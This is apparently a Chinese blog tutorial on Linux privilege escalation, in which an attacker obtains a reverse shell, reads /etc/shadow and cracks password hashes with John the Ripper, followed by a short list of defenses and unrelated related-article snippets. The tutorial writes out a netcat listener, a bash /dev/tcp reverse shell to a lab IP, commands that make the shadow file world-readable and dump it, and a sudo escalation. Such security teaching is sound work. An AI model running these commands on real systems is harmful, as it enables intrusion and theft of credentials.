Linux提权--John碰撞密码提权

embedded/2025/2/7 11:05:10/

​John the Ripper​(简称 John)是一个常用的密码破解工具,可以通过暴力破解、字典攻击、规则攻击等方式,尝试猜解用户密码。密码的弱度是提权攻击中的一个重要因素,如果某个用户的密码非常简单或是默认密码,攻击者就可以利用密码破解工具轻松提取出密码,进而获得该用户的权限,甚至是 root 权限。

一.常见的 John 密码碰撞提权方法
  1. 通过获取 /etc/shadow​ 文件:在 Linux 系统中,用户的密码哈希值通常保存在 /etc/shadow​ 文件中。如果攻击者能够读取到该文件,便可以使用 John the Ripper​ 等工具进行密码破解。
  2. 使用字典攻击:如果密码设置简单或基于常见的单词,John the Ripper​ 可以通过字典攻击快速猜解密码。字典攻击是基于预先构建的常见密码列表来进行尝试。
  3. 暴力破解:如果密码较为复杂,可以使用暴力破解法尝试所有可能的字符组合来解锁密码,尽管这个过程可能需要较长的时间。
二.漏洞示例
A.获取靶机shell
  1. 攻击机监听端口

    • 命令:nc -nvlp 7771​
  2. 目标主机反向连接

    • 命令:bash -i >& /dev/tcp/192.168.13.130/7771 0>&1​
  3. 连接成功,获取shell

B.赋予权限(提权条件)
  • 命令:sudo chmod 666 shadow​

    • PS:使shadow文件可被任意用户查看。
  • 拿到用户密码的哈希值

    • 命令:cat /etc/shadow​
C.密码提权
  • 存放哈希

    • 命令:vim password.txt​
  • 密码破解

    • 命令:john password.txt​
  • 提权成功

    • 第一步:python -c 'import pty;pty.spawn("/bin/bash")'​

      • PS:切换到交互式shell
    • 第二步:sudo su

      • PS:填写爆破出来的密码,完成提权。
三.防御措施
  • 使用强密码:复杂且长的密码,包含字母、数字和符号。
  • 高盐值与多迭代:使用强加密算法(如 SHA-256),并增加盐值和迭代次数。
  • 禁用弱哈希算法:不使用 MD5 或 SHA-1,改用 bcrypt 或 PBKDF2。
  • 限制 sudo 权限:仅授予必要的权限。
  • 启用多因素认证:增加登录安全层。
  • 定期更换密码并审计日志:加强密码更新和行为监控。

http://www.ppmy.cn/embedded/160280.html

相关文章

python:如何播放 .spx 声音文件

.spx 是 Speex音频编解码器的文件扩展名,它是一种开源的、免费的音频编解码器,主要用于语音压缩和语音通信领域。spx 文件通常用于语音记录、VoIP应用、语音信箱等场景。 .mp3 是一种广泛使用的音频格式,它采用了有损压缩算法,可…

langchain教程-12.Agent/工具定义/Agent调用工具/Agentic RAG

前言 该系列教程的代码: https://github.com/shar-pen/Langchain-MiniTutorial 我主要参考 langchain 官方教程, 有选择性的记录了一下学习内容 这是教程清单 1.初试langchain2.prompt3.OutputParser/输出解析4.model/vllm模型部署和langchain调用5.DocumentLoader/多种文档…

系统URL整合系列视频二(界面原型)

视频 系统URL整合系列视频二(界面原型) 视频介绍 (全国)大型分布式系统Web资源URL整合需求界面原型讲解。当今社会各行各业对软件系统的web资源访问权限控制越来越严格,控制粒度也越来越细。安全级别提高的同时也增加…

nginx+php+memcache高速缓存openresty)_nginx+php使用memcache

编译过程中会出现一些依赖性问题一个一个解决即可 [rootserver1 php-7.4.6]# make [rootserver1 php-7.4.6]# make instal编译 2.拷贝php-fpm配置文件: [rootserver1 php-7.4.6]# cd /usr/local/php/ [rootserver1 php]# cd etc/ [rootserver1 etc]# cp php-f…

YOLOv8源码修改(4)- 实现YOLOv8模型剪枝(任意YOLO模型的简单剪枝)

目录 前言 1. 需修改的源码文件 1.1添加C2f_v2模块 1.2 修改模型读取方式 1.3 增加 L1 正则约束化训练 1.4 在tensorboard上增加BN层权重和偏置参数分布的可视化 1.5 增加剪枝处理文件 2. 工程目录结构 3. 源码文件修改 3.1 添加C2f_v2模块和模型读取 3.2 添加L1正则…

《Hands-On Machine Learning with Scikit-Learn, Keras TensorFlow》第一章读书笔记

第一部分:理论篇 1. 什么是机器学习? 核心定义 机器学习是让计算机从数据中学习的科学,而无需显式编程。 经典定义 Arthur Samuel (1959): “让计算机无需明确编程就具备学习能力” Tom Mitchell 的工程定义: “如果一个程序通过经验 E 在某…

GitHub 使用教程:从入门到进阶

1. GitHub账号注册 访问 GitHub 官网 (https://github.com)点击 “Sign up” 按钮填写用户名、邮箱和密码验证邮箱完成注册 2. 基础配置 2.1 安装Git 访问 Git 官网下载安装包运行安装程序,按提示完成安装打开终端,设置用户信息: git co…

【自然语言处理】TextRank 算法提取关键词(Python实现)

文章目录 前言PageRank 实现TextRank 简单版源码实现jieba工具包实现TextRank 前言 TextRank 算法是一种基于图的排序算法,主要用于文本处理中的关键词提取和文本摘要。它基于图中节点之间的关系来评估节点的重要性,类似于 Google 的 PageRank 算法。Tex…